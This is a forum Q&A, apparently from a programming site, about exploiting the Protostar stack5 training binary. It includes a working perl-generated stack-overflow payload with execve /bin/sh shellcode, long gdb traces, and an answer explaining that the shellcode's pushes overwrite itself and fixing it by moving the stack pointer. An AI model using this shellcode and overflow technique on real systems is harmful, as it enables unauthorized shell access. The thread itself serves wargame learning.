Reputation: 3726
I am trying to solve Protostar stack5. Here is a solution. It puts the shellcode after the return address, I tried to put it before, in the array. I have tried the shellcode, it works.
It seems everything OK, the execution jumps to shellcode, but I get a segmentation fault after the end of shellcode, and no shell is spawned. I do not know why, in gdb
not all shellcode instructions appear properly.
For example at 0xbffff690
should be mov %esp,%ecx
not cwtl
. Maybe this is the problem? Why is this happening?
Edit: Since the array address will be slightly different when it is started outside gdb
we need a nop sled. So my approach maybe will not work because the array size is too small for this. However I still want to know why the end of the shellcode is interpreted wrongly in gdb
.
perl -e 'print "\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" . "A"x21 . "\x60\xf6\xff\xbf"' > /tmp/o2
user@protostar:/opt/protostar/bin$ gdb -q stack5
Reading symbols from /opt/protostar/bin/stack5...done.
(gdb) disas main
Dump of assembler code for function main:
0x080483c4 <main+0>: push %ebp
0x080483c5 <main+1>: mov %esp,%ebp
0x080483c7 <main+3>: and $0xfffffff0,%esp
0x080483ca <main+6>: sub $0x50,%esp
0x080483cd <main+9>: lea 0x10(%esp),%eax
0x080483d1 <main+13>: mov %eax,(%esp)
0x080483d4 <main+16>: call 0x80482e8 <gets@plt>
0x080483d9 <main+21>: leave
0x080483da <main+22>: ret
End of assembler dump.
(gdb) b *0x080483da
Breakpoint 1 at 0x80483da: file stack5/stack5.c, line 11.
(gdb) r < /tmp/o2
Starting program: /opt/protostar/bin/stack5 < /tmp/o2
Breakpoint 1, 0x080483da in main (argc=Cannot access memory at address 0x41414149
) at stack5/stack5.c:11
11 stack5/stack5.c: No such file or directory.
in stack5/stack5.c
(gdb) b *0xbffff660
Breakpoint 2 at 0xbffff660
(gdb) c
Continuing.
Breakpoint 2, 0xbffff660 in ?? ()
(gdb) display/i $pc
1: x/i $pc
0xbffff660: xor %eax,%eax
(gdb) ni
0xbffff662 in ?? ()
1: x/i $pc
0xbffff662: xor %ebx,%ebx
(gdb)
0xbffff664 in ?? ()
1: x/i $pc
0xbffff664: mov $0x6,%al
(gdb)
0xbffff666 in ?? ()
1: x/i $pc
0xbffff666: int $0x80
(gdb)
0xbffff668 in ?? ()
1: x/i $pc
0xbffff668: push %ebx
(gdb)
0xbffff669 in ?? ()
1: x/i $pc
0xbffff669: push $0x7974742f
(gdb)
0xbffff66e in ?? ()
1: x/i $pc
0xbffff66e: push $0x7665642f
(gdb)
0xbffff673 in ?? ()
1: x/i $pc
0xbffff673: mov %esp,%ebx
(gdb)
0xbffff675 in ?? ()
1: x/i $pc
0xbffff675: xor %ecx,%ecx
(gdb)
0xbffff677 in ?? ()
1: x/i $pc
0xbffff677: mov $0x2712,%cx
(gdb)
0xbffff67b in ?? ()
1: x/i $pc
0xbffff67b: mov $0x5,%al
(gdb)
0xbffff67d in ?? ()
1: x/i $pc
0xbffff67d: int $0x80
(gdb)
0xbffff67f in ?? ()
1: x/i $pc
0xbffff67f: xor %eax,%eax
(gdb)
0xbffff681 in ?? ()
1: x/i $pc
0xbffff681: push %eax
(gdb)
0xbffff682 in ?? ()
1: x/i $pc
0xbffff682: push $0x68732f2f
(gdb)
0xbffff687 in ?? ()
1: x/i $pc
0xbffff687: push $0x6e69622f
(gdb)
0xbffff68c in ?? ()
1: x/i $pc
0xbffff68c: mov %esp,%ebx
(gdb)
0xbffff68e in ?? ()
1: x/i $pc
0xbffff68e: push %eax
(gdb)
0xbffff68f in ?? ()
1: x/i $pc
0xbffff68f: push %ebx
(gdb)
0xbffff690 in ?? ()
1: x/i $pc
0xbffff690: cwtl
(gdb)
0xbffff691 in ?? ()
1: x/i $pc
0xbffff691: idiv %bh
(gdb)
0xbffff693 in ?? ()
1: x/i $pc
0xbffff693: mov $0x0,%edi
(gdb)
0xbffff698 in ?? ()
1: x/i $pc
0xbffff698: das
(gdb)
0xbffff699 in ?? ()
1: x/i $pc
0xbffff699: bound %ebp,0x6e(%ecx)
(gdb)
Program received signal SIGSEGV, Segmentation fault.
0xbffff699 in ?? ()
1: x/i $pc
0xbffff699: bound %ebp,0x6e(%ecx)
Upvotes: 1
Views: 1095
Reputation: 213646
Interesting question. The answer is: you have a stack overflow in your stack overflow.
On my system, the disassembly for main is at a slightly different address:
(gdb) disas
Dump of assembler code for function main:
0x0804841d <+0>: push %ebp
0x0804841e <+1>: mov %esp,%ebp
0x08048420 <+3>: and $0xfffffff0,%esp
0x08048423 <+6>: sub $0x50,%esp
0x08048426 <+9>: lea 0x10(%esp),%eax
0x0804842a <+13>: mov %eax,(%esp)
0x0804842d <+16>: call 0x80482f0 <gets@plt>
0x08048432 <+21>: leave
0x08048433 <+22>: ret
End of assembler dump.
The stack address is also different: the return address when stopped at 0x0804841d
is 0xffffcedc
, which means that by the time I reach gets
the value of $eax
is 0xffffce90
, and I need to adjust exploit code accordingly.
I then set a breakpoint in *0x08048433
, and execute the following commands once I reach it:
(gdb) display/23i 0xffffce90
(gdb) stepi
Here is what I then see:
0xffffce90 in ?? ()
1: x/23i 0xffffce90
=> 0xffffce90: xor %eax,%eax
0xffffce92: xor %ebx,%ebx
0xffffce94: mov $0x6,%al
0xffffce96: int $0x80
0xffffce98: push %ebx
0xffffce99: push $0x7974742f
0xffffce9e: push $0x7665642f
0xffffcea3: mov %esp,%ebx
0xffffcea5: xor %ecx,%ecx
0xffffcea7: mov $0x2712,%cx
0xffffceab: mov $0x5,%al
0xffffcead: int $0x80
0xffffceaf: xor %eax,%eax
0xffffceb1: push %eax
0xffffceb2: push $0x68732f2f
0xffffceb7: push $0x6e69622f
0xffffcebc: mov %esp,%ebx
0xffffcebe: push %eax
0xffffcebf: push %ebx
0xffffcec0: mov %esp,%ecx
0xffffcec2: cltd
0xffffcec3: mov $0xb,%al
0xffffcec5: int $0x80
(gdb) # I press Enter here to repeat stepi
0xffffce92 in ?? ()
1: x/23i 0xffffce90
0xffffce90: xor %eax,%eax
=> 0xffffce92: xor %ebx,%ebx
0xffffce94: mov $0x6,%al
0xffffce96: int $0x80
0xffffce98: push %ebx
0xffffce99: push $0x7974742f
0xffffce9e: push $0x7665642f
0xffffcea3: mov %esp,%ebx
0xffffcea5: xor %ecx,%ecx
0xffffcea7: mov $0x2712,%cx
0xffffceab: mov $0x5,%al
0xffffcead: int $0x80
0xffffceaf: xor %eax,%eax
0xffffceb1: push %eax
0xffffceb2: push $0x68732f2f
0xffffceb7: push $0x6e69622f
0xffffcebc: mov %esp,%ebx
0xffffcebe: push %eax
0xffffcebf: push %ebx
0xffffcec0: mov %esp,%ecx
0xffffcec2: cltd
0xffffcec3: mov $0xb,%al
0xffffcec5: int $0x80
(gdb)
0xffffce94 in ?? ()
1: x/23i 0xffffce90
0xffffce90: xor %eax,%eax
0xffffce92: xor %ebx,%ebx
=> 0xffffce94: mov $0x6,%al
0xffffce96: int $0x80
0xffffce98: push %ebx
0xffffce99: push $0x7974742f
0xffffce9e: push $0x7665642f
0xffffcea3: mov %esp,%ebx
0xffffcea5: xor %ecx,%ecx
0xffffcea7: mov $0x2712,%cx
0xffffceab: mov $0x5,%al
0xffffcead: int $0x80
0xffffceaf: xor %eax,%eax
0xffffceb1: push %eax
0xffffceb2: push $0x68732f2f
0xffffceb7: push $0x6e69622f
0xffffcebc: mov %esp,%ebx
0xffffcebe: push %eax
0xffffcebf: push %ebx
0xffffcec0: mov %esp,%ecx
0xffffcec2: cltd
0xffffcec3: mov $0xb,%al
0xffffcec5: int $0x80
(gdb)
So far, everything is proceeding nicely. But watch what happens when we reach 0xffffcebe
and stepi
over it:
0xffffcebf in ?? ()
1: x/23i 0xffffce90
0xffffce90: xor %eax,%eax
0xffffce92: xor %ebx,%ebx
0xffffce94: mov $0x6,%al
0xffffce96: int $0x80
0xffffce98: push %ebx
0xffffce99: push $0x7974742f
0xffffce9e: push $0x7665642f
0xffffcea3: mov %esp,%ebx
0xffffcea5: xor %ecx,%ecx
0xffffcea7: mov $0x2712,%cx
0xffffceab: mov $0x5,%al
0xffffcead: int $0x80
0xffffceaf: xor %eax,%eax
0xffffceb1: push %eax
0xffffceb2: push $0x68732f2f
0xffffceb7: push $0x6e69622f
0xffffcebc: mov %esp,%ebx
0xffffcebe: push %eax
=> 0xffffcebf: push %ebx
0xffffcec0: mov %esp,%ecx
0xffffcec2: cltd
0xffffcec3: mov $0x0,%al
0xffffcec5: add %al,(%eax)
The push
just executed overwrote the int80
that used to be at 0xffffcec5
with something else (namely content of $eax
). This is because we are executing instructions on the stack, while simultaneously push
ing values onto that same stack!
Another stepi
, and I see this:
(gdb) stepi
0xffffcec0 in ?? ()
1: x/23i 0xffffce90
0xffffce90: xor %eax,%eax
0xffffce92: xor %ebx,%ebx
0xffffce94: mov $0x6,%al
0xffffce96: int $0x80
0xffffce98: push %ebx
0xffffce99: push $0x7974742f
0xffffce9e: push $0x7665642f
0xffffcea3: mov %esp,%ebx
0xffffcea5: xor %ecx,%ecx
0xffffcea7: mov $0x2712,%cx
0xffffceab: mov $0x5,%al
0xffffcead: int $0x80
0xffffceaf: xor %eax,%eax
0xffffceb1: push %eax
0xffffceb2: push $0x68732f2f
0xffffceb7: push $0x6e69622f
0xffffcebc: mov %esp,%ebx
0xffffcebe: push %eax
0xffffcebf: push %ebx
=> 0xffffcec0: enter $0xffce,$0xff
0xffffcec4: add %al,(%eax)
0xffffcec6: add %al,(%eax)
0xffffcec8: das
And the next stepi
causes SIGSEGV
:
(gdb) stepi
Program received signal SIGSEGV, Segmentation fault.
So what's the solution?
When we enter code at 0xffffce90
, our stack points to 0xffffcee0
, i.e. just 80 bytes past the shellcode. Our shellcode length is 54 bytes. Therefore, we can push at most 6 words on the stack, before we start corrupting our shellcode.
Current shellcode pushes 8 words, corrupting itself with the 7th and 8th pushes.
The shellcode needs to either pop some words (e.g. add pop %eax
after the first syscall at 0xffffcead
), or extend the stack with e.g. add $0x80,%esp
upon entry so there is plenty of space between end of shellcode and top of stack.
I've used the latter, and it worked:
(gdb) c
Continuing.
process 21439 is executing new program: /bin/bash
Upvotes: 3